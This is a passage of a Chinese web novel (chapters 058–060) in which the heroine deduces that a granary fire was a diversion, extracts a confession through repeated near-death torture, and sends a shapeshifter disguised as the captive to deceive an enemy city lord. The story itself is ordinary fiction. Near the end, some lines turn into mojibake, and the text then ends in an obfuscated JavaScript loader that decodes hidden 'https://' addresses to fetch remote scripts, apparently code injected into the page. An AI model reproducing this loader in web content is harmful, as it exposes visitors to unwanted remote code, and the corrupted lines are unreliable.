第六十八章 走出冬季?! (11)(1 / 2)

        得,低声喊道:“哎,咱俩走了,阿冕怎么办啊。”

        “交给小林照顾就行了。”

        这一夜,有人在外奔波,有人忙得焦头烂额。所有人都没有睡好。

        到了天就要破晓的时候,外面的声音终于渐渐安静了下来,也不知道是事情都处理完了,还是大伙儿都没力气动弹了。

        旯丘拖着疲惫的身躯来到了君诺的住处,大石等人没有阻拦,他就一路走到了君诺和慕止的房间外。

        “城主。”君诺淡淡打了招呼道。

        拖了那黑影的福,君诺昨夜压根就没有睡觉,距离她和慕止回到屋子里,也没过多久,现在整个人看起来都软趴趴的。

        “阿冕现在怎么样?”旯丘一副抱歉的表情道。

        “丘哥哥!”许是听到了旯丘的声音,刚刚才小憩了一会儿的阿冕立刻爬了起来,看到来人真的是旯丘之后,喜笑颜开。看样子,对旯丘十分依赖。

        君诺也是挺佩服她的。昨天经历了一场火灾,人都给呛晕了,经过异时空诊室的救治之后愣是没什么事儿,大半夜的也不睡觉,非要等着旯丘回来。

        直到刚才,阿冕才有些撑不下去了,稍稍眯了那么一会儿。此刻看到旯丘过来了,却又瞬间清醒。

        旯丘看到毫发无伤的阿冕,也不知他心里是什么滋味,红了眼眶。好生安慰了阿冕一番,才将她哄去睡了,跑来和二人致谢。

        “不用不用。”君诺救她的时候就有一半的原因是为了自己,此刻被旯丘千恩万谢的,哪里好意思,她连忙转移了话题,“不知道粮仓着火的事情,城主有没有别的看法?”

        “你的意思是?”旯丘不答反问。

        旯丘一大早就过来了,对着阿冕嘘寒问暖的,君诺还以为他早把昨夜火灾的事情抛在了脑后。想着大家好歹也是相识一场,才打算提醒一下他,特意把话题转到了这一件事情上。

        不过看样子,旯丘并不是不知晓事情的轻重啊。她挑了眉,也不和他绕弯子,道:“对方利用布仓着火的事情把大家的注意力都吸引了过去,其真正目的却是为了吊走看守粮仓的看守力。”

        君诺敲打着桌面,发出嗒嗒的声响,“但即便如此,看守粮仓的战士们和看守大门的那些是一样的,不是天大的事情,并不能吊走他们的全部力量。而在这样的情况下,对方依然找到突破口将粮仓点燃。”

        “我也在奇怪他是怎么做到的。”旯丘道:“不过现在这个不是最重要的,不管他是怎么做到的,只要我下令防范好各个入口,不给他们潜入城中的机会,就不会再有这样的事情发生。我是担心,他们根本不会再来了。”

        君诺昨夜去了现场查看,已经找到了爆炸产生的原因。但正如旯丘所说,哪怕是爆炸,也是需要条件的。只要敌人不能进入到旯热城内部,就别想再次下手。

        但显然,敌方接下来的动作,恐怕根本不用再凭借这样拙劣的手段。眼见旯丘似乎还有话要讲,君诺并未开口,而是做出一副洗耳恭听的模样。

        “粮仓里的食物已经被烧得差不多了。”旯丘叹了口气,“族人们倒还好一些,他们家里都有一些食物,但城中的将士们,他们就……”

        每个城市都有一些不成文的规定。君诺在这里住了几天,就打听到了不少小道消息。原来城里的战士并非是自己报名的,也不是由城主下达命令每个家庭必须有青壮年参军之类。

        毕竟现在很多所谓的家庭都是好几个男人独自为家,而他们共用一个女人。这听起来让人难以接受,但这就是现状。

        多夫或者多妻的情况都存在,关键还是看男人有没有足够的粮食养活自己和他的崽子。如果男人足够强大,也有女人愿意跟着一个男人过日子,但大部分的女人为了生存得更好一些,都会依附于几个男人。

        一夫一妻的情况不是不存在,却少得很。

        君诺对于这些当地人的感情观不想评价,但这直接导致的就是,像征兵这样的法子根本行不通,因为没有男人愿意抛下自己的崽子和女人,看着她们和其他男人走到一起。

        城中的守卫战士,其实大多是那些养不起崽子的家庭主动贡献出来的。

        他们生了孩子之后,却没有办法供养自己的孩子。这一部分孩子就可以交到城中,由专人抚养,而孩子的父母,则会得到一头猪或是羊当昨补偿。

        这样的事情天天都在发生,旯热城作为一个中等城市,已经算是好的了。要是放在偏远的小洞族,这一部分大人养不起的崽子很有可能会被直接宰掉。

        “他们烧了粮仓,战士们可能根本坚持不了多久。”旯丘愤愤的同时,却又有点无可奈何,“飞峡城以为这样就能打倒我们的话,就想得太美了。”

        会用这样卑劣的手段,旯丘不用细想就知道对方一定是飞峡城的人。那是一个近几个雪季才渐渐兴起的小城市,因为每年雪季都能给禁城提供大量的新鲜蔬菜瓜果,这才破格提升成为了小城市。

        可光是这样,他们并不满意,每年都会欺凌一些弱小的洞族,将那些洞族的人全都抓起来充作奴隶。

        战败的一方被充当成奴隶,这本来也不是什么大不了的事情,飞峡城的特殊之处就在于除了他们的城主之外,其他所有的人全都是奴隶。

        这简直难以想象!

        依靠着这种手段,飞峡城从只有一个人,慢慢变成了一个拥有近万人口的奴隶城市!

        以前他把注意打到那些小洞族身上就算了,禁城的人也是睁一只眼闭一只眼,如今他竟然敢把主意打到自己的头上来了。

        旯丘的所思所想,君诺自是不会知道。听到旯丘的话,她忽然打断道:“他恐怕只是想营造一个稳中捉鳖的假象。”

        “什么意思?”旯丘闻言,面露困惑。他能够看得出来,面前这个小丫头虽然年纪不大,鬼点子却不少。

        就说昨天,她跑来和自己说要一起去找阿冕的时候,他分明看到了这丫头眼中一闪而过的精光。

        她在算计自己。但能够抛却性命不管不顾地算计自己,却不是一般人能够做到的。光是看在这一点上,自己就不会与她计较。

        不论如何,于危急时刻挺身而出的是她,将阿冕救出来的也是她。阿冕受了伤,将她治好的,还是她。

        所以君诺此刻说出这样的话来,旯丘只是疑惑,却不会怀疑。

        “先是将大家的注意力都集中到布仓,再伺机动手,这一路手法叫做调虎离山。如此可见,对方并不是没有脑子的人。我们能够想到的东西,他就真的一点都想不到吗?”君诺清了清嗓子道。

        是啊,飞峡城虽然只是一个小城市,里面的人还都是奴隶,但他们的城主可不是一个简单的货色,禁城的城主流霜都被他哄得团团转。可这样一个人物,竟然没有人知道他的真实面目。

        哪怕他烧了自己的粮仓,他一声令下,关乎到自己身家性命的大事,自己的族人们会在这个时候不管不顾吗?这是不可能的。

        这一点,那飞峡城的城主肯定也能想到。可要是这样的话,旯丘就有点想不明白了。照这么想想,飞峡城的城主这一手,不是什么作用都没有吗?

        “不是白费功夫。”慕止倒了一杯茶递给两人,又给自己徐徐倒了一杯,似是看出了旯丘的意思,接口道:“他就是要让我们误以为他想瓮中捉鳖。”

        慕止轻笑道:“若我们信了,城主当如何?”

        “当然是立刻征集粮食,然后给战士们派发下去,让他们好好休息。等到飞峡城城主以为我们已经被困在城内将要饿死的时候,和他们大战一场。”旯丘道。

        “那么其他族人们呢?”慕止自问自答道:“一荣俱荣,要是旯热城破了,他们又如何独善其身?所以如果真有敌军来袭,就算是普通的族人,大家也不可能袖手旁观,他们最终也要加入战场。”

        见旯丘并不反驳,慕止接着道:“所以城主一定会下令,让大家都好好休息,吃好喝好养精蓄锐,等到时候到了,一起迎战。”

        “可有什么不妥?”旯丘想想的确如此,不耻下问道。

        “那怎么能妥当呢,这可是大大的不妥啊!”君诺饮了好几杯水,觉得嗓子好受了些立刻道:“城内那么多的男人,就算是去掉守城战士们,那个飞峡城城主有把握赢吗?他压根就没有。所以烧毁粮仓的意义不大,他的目的是让我们暂且卸下防备。”

        “不出所料的话,他马上就会派人攻打。”君诺一边说着,一边打了个呵欠,“闹这么大的动静,他其实就是想让我们昨夜睡不好。只要我们睡不好,他今儿个就可势如破竹啊。”

        旯丘闻言,面色一变再变,想了许久才想通其中关节,不由得焦急道:“那这岂不是一个死局?”

        他看了一眼外面的天色,马上就要天亮看。听君诺和慕止这一分析,旯丘竟觉冷汗淋漓。

        要是自己真的相信了他们,将计就计让大伙儿都去休息,那可就全完了。昨夜大家跑上跑下,都累得狠了,这要是一休息,就是别人打上门来了也未必来得及反击。

        可就算他们此刻严阵以待,大家经历了昨天晚上的那一遭,个个都是气力不足。

        当然,不管是战士们的武力还是战士的数量,都超过了飞峡城的人。但这一战下来,他们未必就能讨到好。

        尤其是那个邪门的飞峡城城主,据说他手底下的奴隶,每一个都对他十分衷心。哪怕是死,这些人连眼睛都不眨一下的。

        他们的将士再强大,又怎么比得过一群不要命的人呢?这一战如果真打起来,最好的结果,也就是落一个两败俱伤的下场。

        “城主不必着急。”君诺见旯丘看着已经想得通透,不急不缓道:“这飞峡城城主如此狡诈,城主会在他身上栽跟斗也是正常的。要不是慕止提醒,我昨夜也险些被他骗过去了。”

        “道理我都懂,可现在不是讨论这个的时候。不行,我得立刻去通知城中的战士们,就算是战死,也比被飞峡城的人暗害了的强。”旯丘实在坐不住了,站起身就想要出门。

        “城主这么着急做什么,我这话不是还没说完吗?”君诺语速不急不缓,似乎根本不担心接下来的这一场硬仗。

        ------题外话------

        作者:这要是真的在千钧一发的时刻,诺诺你这么慢慢吞吞地说话肯定会被人打!

        君诺:那也得他打得过我才行。

        本书由潇湘书院首发,请勿转载!

        ☆、059 她还没玩够呢

        君诺这般气定神闲的样子,让旯丘冷静了些许。他蹙眉问道:“你已经想好办法了吗?”

        要是没有应对之策,君诺哪里会这么悠闲。拍了拍手,有一个身穿黑色皮衣的大胡子男人被浮迭推了出来。

        此人面色白得可怕,眼中黯淡无光,要不是他的身上没有一丝一毫的伤口,旯丘几乎要以为他刚刚才受过一场大刑。

        “人给你送来了,我走了。”浮迭将那大胡子男人往地上一丢,一脸不大情愿的模样。君诺瞥了一眼,也没说什么,毕竟浮迭只要不添乱子,就实属难得。

        大胡子男人迷迷糊糊中觉得身子一重,难耐地翻了个身。紧接着,他仿佛忽然想起了什么似的,蓦地睁开了眼。他看到面带微笑的君诺和慕止,眨眼间就往后退了半米,那惊恐的眼神,就像是见了鬼似的。

        此人衣着奇怪,又甚是面生,旯丘看到这大胡子,不确定道:“这是?”

        “昨天导致粮仓起火的罪魁祸首啊。”君诺还是微微笑着,视线从那大胡子的头顶一直转移到脚部,“阿默难,我这口干舌燥的,着实懒得开口。这讲故事的任务,不如交给你,如何?”

        阿默难闻言,瞳孔骤然变大,却是不敢违背君诺的意思,支支吾吾地开口,把自己的身家背景交代得一清二楚。

        “城主对这个飞峡城可有了解?”君诺慢悠悠地品着茶,随口问道。

        竟然真的是飞峡城。虽然自己早就已经猜到了幕后黑手,但旯丘从未想过君诺能够从飞峡城城主手底下的奴隶嘴里问出什么。

        自己虽然之前就已经提到过飞峡城,但打那时候起,君诺和慕止就没有离开过这间屋子。而这个名叫阿默难的奴隶送被上来之后,君诺除了让他开口说话,其余什么也没有提。

        也就是说,这个女人的的确确是凭自己的本事,撬开了阿默难的嘴,这简直太让人难以想象了。

        阿默难将自己知道的东西通通招供了,旯丘也没打算欺瞒君诺,便将他对于飞峡城的了解也都告诉了君诺。

        在雪季里提供新鲜的蔬菜水果?

        还是大家闻所未闻见所未见的?

        君诺陷入了沉思。虽然不知道这个飞峡城城主究竟是何人,但他身上发生的事情着实令她惊讶。

        昨夜慕止想起芦花的供词之后,当即就想到了去截住阿默难。只要仔细想想,就能想明白芦花看到的那个黑影,应该就是飞峡城的奴隶之一。他在办完飞峡城城主交代的事情——在布仓里面放火之后,就按照原计划赶回他们的驻扎地。

        然后他没有想到的是,夜深人静的,芦花竟然会在布仓附近晃悠,还正好看到了他的身影。时间紧迫,他来不及思考利弊,只顾着自己溜走,却没料到他这一走,就暴露了他们驻扎的方位。

        布仓和粮仓先后起火,粮仓在后,且距离那一声爆炸声并不久。本来两处起火相隔时间不短,不能排除是一个人纵火,但既然芦花已经看到其中一人离去,那么粮仓的火灾,必然还有另一人在操纵。

        而他得手之后,想的自然也是逃离。只不过粮仓和布仓不同,那里有的是战士守卫。若是平时也就罢了,在发生了起火事件之后,大家势必会更加小心。

        所以阿默难一时之间,多半找不到逃离的机会,只能暂时藏匿起来,直到众人纷纷赶到。

        人一多,事情就好办多了。阿默难只要混迹于人群之中,大家在慌忙之下,也不太会注意身边的人,他自然就能找到机会逃离。

        慕止洞悉两人的作案手法之后,当即就拉着君诺出了门。那个时候,阿默难应该刚刚找到机会逃离现场,而他们知道他离开的路线,以君诺的速度,当然能够赶在他的前面将人截住。

        至于抓住了人之后怎样撬开他的嘴,这就容易得多了。就算那个飞峡城城主以特殊手段威胁了这些奴隶们,但至多不过死亡,哪有君诺的花样多?

        天底下不怕死的人多了去了,不怕生不如死的,却没有几个。君诺虽没有专门学习过审讯手段,但她可是有几大神器在手。只要留着阿默难一口气,她就能把濒死之人重新拉回来。

        生生死死生生,阿默难饶是铁打的骨头,哪里经得住那样的摧残?来回两次之后,便想编故事糊弄君诺了,可君诺愣是不给他这个机会,直到他脱力到半个字都说不出,才给他喂了瓶朱颜补充体力。

        “你招是不招,都不打紧,反正我还没玩够呢。”阿默难简直无法相信这样的一句话,是从那个看似善良温柔的女人嘴里说出来的。

        不,这压根就不是个女人,这分明是个魔鬼!

        就是城主也没有她这样恶劣的手段啊。他要是就这么死了倒还好些,可这个女人,每次在他觉得离死亡不远的时候,就拿出一个竹罐子给他灌药。

        奇的是喝了那药之后,身上竟然就不疼了,好像刚刚发生的都是他的幻觉一样。可马上,他就会知道那并不是错觉。

        这个女人、这个女人简直……这样的手段,恐怕根本就不是人!

        阿默难想了半天也没能想出适合形容君诺的词来。这时候,他就听到了她让自己至今难忘的那一句话。

        她说……她还没玩够呢。

        可是他已经受够了!阿默难趁着君诺还没动手,连忙将自己知道的东西原原本本交代了,这才换来了喘息的时间。

        可是这才过了多久,自己又被带到了这个女人的面前!

        阿默难说话小心翼翼的,生怕哪一个字说错了,君诺一个不高兴再对他下一回狠手。

        他战战兢兢的眼神落到君诺眼中,并未引起什么波澜。君诺从怀中掏出一个黑色的小球,伸到旯丘的面前道:“阿默难已经交代了,他之所以能够引起粮仓的火灾,就是通过这个东西。”

        那黑色的球状物,长得有点像地雷。因为做工不够精良,君诺隐约还能闻到一点火药味。不过它的构造又和地雷有些不同,据阿默难所说,这玩意儿只要用力掷在地上,就会爆炸。

        和地雷的原理倒也差不多,只不过一个是外力挤压,这个是直接用力砸。要是埋在地底下,或许就和地雷是一个效果了。

        君诺对这些东西并不了解,慕止亦然。但无论是自己还是慕止,都明白这玩意儿不像是会存在于这个时代的。

        这个飞峡城的城主,其背后隐藏的不为人知的秘密,还真是越来越有趣了。

        “这个小球,这要怎么样才能做到?”旯丘接过那个地雷,正想颠一颠瞧一瞧,下一刻就被君诺给拦住了。

        “城主,这玩意颠不得。”君诺将那个地雷仔细收好,才道:“恐怕用力摁几下都不行。你不是想知道它是如何引起火灾吗?要是它不慎落了地,恐怕你就不会再好奇了。”

        “你的意思是,只要将它丢到地面上,就能引起大火?”旯丘有些震惊,“这小球有那么厉害?”

        当然没有那么厉害。君诺撇了撇嘴。这个地雷做工粗糙,加的火药又不多,就算是爆炸了,威力也不大,最多就是将人炸伤。

        要是放到仓库里,一瞬间产生的火花也并不足以让装粮食的袋子着起来。但要是用一大把,这个可能性也不是没有。

        只不过君诺并不觉得这个理由能够解释粮仓的火灾。这些地雷经过抛掷的时候,因为初始角度不一致,落地的时候不太可能在同一个点上。

        而一旦这些地雷落地较为分散,就不太可能形成那么大的火灾。甚至能不能引起麻袋着火,都是一个值得探讨的问题。

        想要避开守卫战士们的视线从外面将小球丢进去,这个难度已经很大了,更别说要让那么多的小球落地点都在一个差不多的地方。

        而她可不会忘了,昨夜他们听到爆炸声后不久,就有人通报说粮仓着火了。

        君诺更倾向于另一个说法。那些看守粮仓的战士之中,恐怕有一个内贼。

        只是不管她怎么拷问阿默难,对方都只是说飞峡城的城主命令他到时间偷偷丢一把那种黑色的小球进去。阿默难都被逼到了那份上,君诺看得出来他说的不是假话。

        只能说就算是有内贼,飞峡城城主也并没让双方互通。不得不说这个飞峡城的城主行事如此谨慎,又有头脑,的确不是个好对付的角色。

        即便此事疑点重重,这一切也只是君诺的猜测而已,她并不打算将此告诉旯丘。他们作为客人,本就不该多管旯丘的事情。如今虽然已经插手,但也应点到即止。

        没有牵扯到旯热城的人也就罢了,要是自己提出旯热城里有内奸,就算是旯丘相信他们,一个不慎传了出去,旯热城的居民们可不会相信自己。

        更何况……有些事情不抖露出来,比摆在明面上更好处理,不是吗?

        如今对方以为自己没有露出破绽,下一次行事的时候,只怕会更大胆。君诺嘴角勾起一抹若有若无的笑。

        虽然君诺没有回答,旯丘却对那小黑球敬而远之了,看样子是怕引火烧身。不过他也并未离开,即便知道了这些,对他来说也没有多大作用。

        那飞峡城城主要是打算攻城,即便他搞清楚了那人的阴谋诡计,此时也派不上用场啊。旯丘瞥了一眼窗外的天色。方才还是灰扑扑的一片,此时已经隐约有了亮光。

        过不了多久,天就真的要亮了。

        可他如今毫无对策!想着这些,旯丘愁眉不展道:“可我们抓住了阿默难,又能怎么样呢?他只是一个奴隶,飞峡城的城主不像你们想象中的那么好应付,他根本不会因为一个奴隶而改变他的任何计划。”

        君诺闻言却是“噗嗤”一声笑了。

        “谁说我们抓住了‘阿默难’?阿默难早在昨天夜里,就回到了他们的营地。”

        以飞峡城城主的自信,恐怕就算是知道阿默难被他们抓住了,也只会觉得一切都在按照他的计划行事。

        阿默难之前不是还打算编故事糊弄自己吗?这故事放到别人身上,或许人家就信了。可他偏偏撞上了自己。

        “回去了?”旯丘瞠目结舌,看了看地上的阿默难,又抬头看看君诺,仿佛不明白她的意思。

        “他要是不回去,飞峡城城主攻城的事情可就板上钉钉了。”君诺道:“所以为了阻止飞峡城城主的计划,‘阿默难’必须回去。他不但要安全回到营地,还得趁机和那飞峡城的城主汇报一些事情才是。”

        君诺顿了顿,又道:“如今真的阿默难在我们手里,回去的那一个,自然是假冒的。”

        “什么?假冒?”旯丘更加惊讶,“这人怎么还可以假冒呢?你不要误会,我不是不相信你,我只是觉得有点惊讶。”

        以君诺对付阿默难的手段,哪怕是这个真的阿默难,现在也是对君诺言听计从的。不过终究不是自己的人,像这样的墙头草,君诺可不敢将他放回去,万一坏了自己的事,可就得不偿失了。

        “这个城主就不必担心了,我自有办法,保管和这个真的一模一样。”君诺道:“假阿默难会拖住飞峡城的城主,至少今日,城主大可吩咐下去,让大伙儿都休息。这一仗恐怕避免不了,但就算是要打,钻空子的机会,也不能让给对方。”

        君诺说完,往床上一坐,“城主要是信得过我,不如趁这个机会,好好休息一会儿。”

        这话的意思,其实就是赶人了。天知道昨天夜里一夜未睡,为了审讯阿默难又装了大半夜的变态,君诺完全就是靠着一股信念支撑到现在。

        再不休息,她就真的支撑不住了。

        君诺的意思再明显不过,旯丘也不是蠢的,和君诺道了别之后,就离开了。不知道为什么,明明只是个年轻的小姑娘,旯丘对她的话却莫名信服,当下就吩咐下去,让大伙儿好好休息去了。

        阿默难还趴在地面上,君诺是打算休息,自然不会让他待在这儿看着,就想将人塞给浮迭。除了他之外,其他人昨天夜里都没睡好。这个时候,也只有浮迭才能堪当大任啊。

        那只花蝴蝶自从她把旺财捞走之后,就一直绷着个脸,跟别人欠了他八百万似的。左右他也是闲着无聊,阿默难也失去了利用的价值,不如就将阿默难送给浮迭玩玩好了,也免得浮迭一直念叨着要去找旺财。

        旺财啊旺财,可别让自己失望才好啊。

        伴着这么一个念头,一众人先后进入了梦乡。

        却说飞峡城的落脚点,尘彷,也就是旺财,此时幻化成了阿默难的模样,混入到飞峡城的驻扎地。

        那飞峡城城主见到阿默难回来,唇角勾起一丝冰凉的笑意,道:“事情都已经办妥了?”

        尘彷学着阿默难的样子跪地叩拜,“主人,已经办成了。”

        心中却将君诺来回骂了好几遍。要不是她,他何至于要对着这个脸都看不清的男人匍匐叩地?早知道就不该让她知晓,自己已经能够发声了。

        尘彷虽然心中这么想着,动作却一点不敢怠慢。他昨天只是一个旁听,但阿默难口中描述的飞峡城城主,可是一个不折不扣的神经病!

        有着极大的野心就罢了,做事全屏他开心。开心了倒也罢了,一个不开心,看见谁谁倒霉。

        哪怕这飞峡城城主是个好应付的,君诺也不是什么善茬。第一次见面就威胁要把自己烤了,这么些日子相处下来,自己几乎要以为她那时候都是开玩笑的。

        可经历了昨晚的事情,尘彷再也不敢大意。这女人还真是什么都做得出来!联想起阿默难昨晚的惨状,尘彷又是浑身一抖,照着君诺吩咐的那样说道:“主人,还有一件事,是关于木鲁斯,不知道……”

        “说!”飞峡城城主闻言,微蹙了眉,仿佛是有些不耐烦。

        “昨天晚上我赶回来的时候,听到一群人在说话。他们说……有一个女人在布仓附近看到了一个黑影,就跟着跑出了好远,一直看着他离开了旯热城。”

        尘彷说这话的时候,抬头偷偷瞄了飞峡城城主一眼,将胆小怕事的形象扮演得淋漓尽致。见飞峡城城主并没有打断的意思,他接着道:“后来我还听到守卫战士们说,旯热城的城主已经相信了那个女人的话,并且猜测是……”

        说到这里,尘彷又怯怯看了一眼那飞峡城城主,正和对方有了一秒钟的对视。他连忙又低下头去,作出一副局促不安的样子。

        “猜测什么,为什么不说了?”飞峡城城主的语气并不凶恶,落到尘彷的耳中却有些令人毛骨悚然。

        他急忙道:“他们猜测是我们城市的人,而且旯热城的城主还吩咐了下去,说搞不清楚主人您打的是什么主意,所以他们就要主动出击。他们看到了木鲁斯离开的方向,决定就在今晚,最迟明天就派人过来。”

        尘彷说完,惊觉自己的后背湿了一半,却挺直了脊梁,告诉自己一定要克服这种恐惧。

        他可是父亲的独子,就算还未成年不能发挥出全部的实力,也不是一个普通人可以应对的,怎么能够害怕这个看上去根本没什么异常的男人呢。

        尘彷正做着自我心里建设,就听到飞峡城城主的声音在耳畔响起,“他们发现了?那你呢,你是怎么逃出来的?”

        这是一个中年男人的声音,略微有些低沉,却听不出喜怒。他提出的问题都在君诺猜测的范围之内,尘彷将身子伏得更低,道:“回主人,粮仓那里有很多人看守着,我一开始躲在阴暗的地方。等他们的人赶到了开始灭火,我就混到了那些人里面,他们没有发现。”

        城主迟疑了一会儿,并未开口,尘彷又接着道:“他们会发现这件事情,全都是因为木鲁斯!主人如果不相信,可以叫木鲁斯过来问话,看是不是有一个女人发现了他!”

        飞峡城城主闻言,颇为不屑地瞥了“阿默难”一眼。他刚刚说话条理分明,他都要以为这个人是假冒的了。现在看他这么急着推脱,那一点疑心才消散了。

        心中虽这么想着,飞峡城城主却道:“抬起头来让我看看。”

        尘彷依言抬起了头。他的伪装技能无人能比,就连父亲尘樊都要花上好一会儿才能看破自己的伪装,如果不是长时间的接触,对原主有极深的了解,谁都别想看出他的破绽来。

        不,他的伪装根本没有破绽。只要不是行为上出了问题,别说是什么飞峡城城主,就是禁城的城主,也别想看出来。

        如此,尘彷虽然慢吞吞抬起头,做出畏惧的样子,眼中却一派坦然。须臾,只听得飞峡城的城主轻声道:“来人,去把木鲁斯叫来。”

        不一会儿,连衣服都没穿齐的木鲁斯就被强行拉了过来。他还有些搞不清楚情况,看到坐在台上的是城主,才颤颤巍巍地开始行礼,讨好道:“主人,您找我是有什么事情吗?”

        那飞峡城城主嫌恶地瞥了木鲁斯一眼,道:“把你叫过来,是为了两个问题。”

        他这话一出,尘彷明显看到木鲁斯咽了口口水,脸上讨好的笑容也尽数收了去。他四下打量了一下,看到跪在身侧的“阿默难”,不由得更加畏惧,却是连哭都哭不出来了。

        城主这时候把他叫来,还叫得那么急,难道是那件事情?

        木鲁斯权衡之下,决定还是自己先坦白。事情如果等到城主先开口,那他就真的完了!木鲁斯心中紧张万分,自然没能注意到他身侧的“阿默难”,伏底的脸部表情可谓瞬息万变。

        趁着城主还没有先问罪,木鲁斯行了一个最大的礼,紧接着就是痛哭流涕。那涕泪并下的样子,不知道的还以为他受了什么天大的委屈呢。

        ------题外话------

        阿默难:宝宝委屈,但宝宝不说!

        君诺:我也委屈,装变态好累,下次你来。

        慕止:我看你玩得挺高……好好好,都是他的错,我来我来。

        饱经摧残的阿默难:?

        本书由潇湘书院首发,请勿转载!

        ☆、060 通通杀掉!

        “主人,我也是没有发现啊主人!”木鲁斯哭得一把鼻涕一把泪,并不知道他这一点过错已经牵扯出了严重的后果,“等我发现有人跟着的时候,已经快要离开旯热城了。但是主人,那就是一个女人而已,不会坏事的……”

        木鲁斯还试图辩解,那飞峡城城主却听不下去了。他阴鸷的目光瞥向阿默难,见对方依然是低眉顺眼的样子,又将视线移回了木鲁斯身上。

        “拉下去。”

        一锤定音。

        任是木鲁斯再声嘶力竭,也无济于事。

        “你还听到了什么?”

        木鲁斯虽然被人发现了,但他自始至终对那飞峡城城主忠心耿耿,却没想到城主连一个戴罪立功的机会都不愿给他,一句话就定了他的生死。

        这一切发生得太快,好在尘彷心中有底,连忙再次俯首道:“他们说,主人您是想要等到他们缺少食物的时候对他们动手。而事实上,他们城里那么多人,只要每人匀一口粮食,战士们就不会饿死。只是到了那个时候,就要和城主您硬碰硬了。”

        这些人果然上当了。飞峡城城主的心情才好了些许,就听“阿默难”接着道:“旯热城的城主不愿他的战士们受伤甚至死亡,所以打算马上派人过来袭击我们,他觉得主人您一定猜不到他们会立刻动手。”

        飞峡城城主闻言,面色一变,他确实没有想到这一层。说到底,他还是低估了那个旯热城城主。没想到他也懂得出其不备!

        不过就算如此,又能怎么样呢?

        上天注定是站在自己这一头的,不然又怎么会把自己送到这种蛮荒之地?你看,哪怕自己的奴隶偶尔犯了一点小错误,自有天帮他摆平!

        这,就是天意!

        上官爵?粕钌钗?艘豢谄??聪颉鞍⒛?选钡难凵裼?⒑蜕破鹄础U庑∽拥雇??椋?值们迨虑榈拇笮

        “你,过来。”上官爵?泼媛恫?裥θ荩?宰盘ㄏ碌摹鞍⒛?选惫戳斯词种浮

        虽不知道这飞峡城城主下一步有什么打算,尘彷还是依言上前了两步,却也不敢抬头直视城主的双眼,一直低着头。

        “这么害怕?放心,这件事情,你办得很好。”上官爵?频溃骸拔冶纠词谴蛩忝魈煲辉绮哦?值摹5?漳阏饷匆凰担??蔷谷幌率直任一挂?绨 !

        他面露难以置信的模样,又道:“咱们可不能如了他的愿啊。这样,你务必派人把入口守好了,只要看到生人,通通杀掉!”

        尘彷又行了礼,就算是接下了这一趟差事。那飞峡城城主没有别的事情交代了,就挥了挥手,让他退下。

        尘彷却不走,而是小心翼翼地问道:“主人,木鲁斯他……”

        “怎么?”

        “如果不是有女人看到木鲁斯离开,旯热城的人也不会放松警惕,我也不会听到他们说的那些话。”尘彷道:“虽然他做错了事情,但是现在还有挽回的机会啊。”

        “你平时不是和他不对付吗?”上官爵?蒲劬ξ⒚校?挥谒?率椎某踞萑词遣换挪幻Γ?踔粱蛊奈?岫ǖ鼗卮鸬溃骸岸浴!

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD 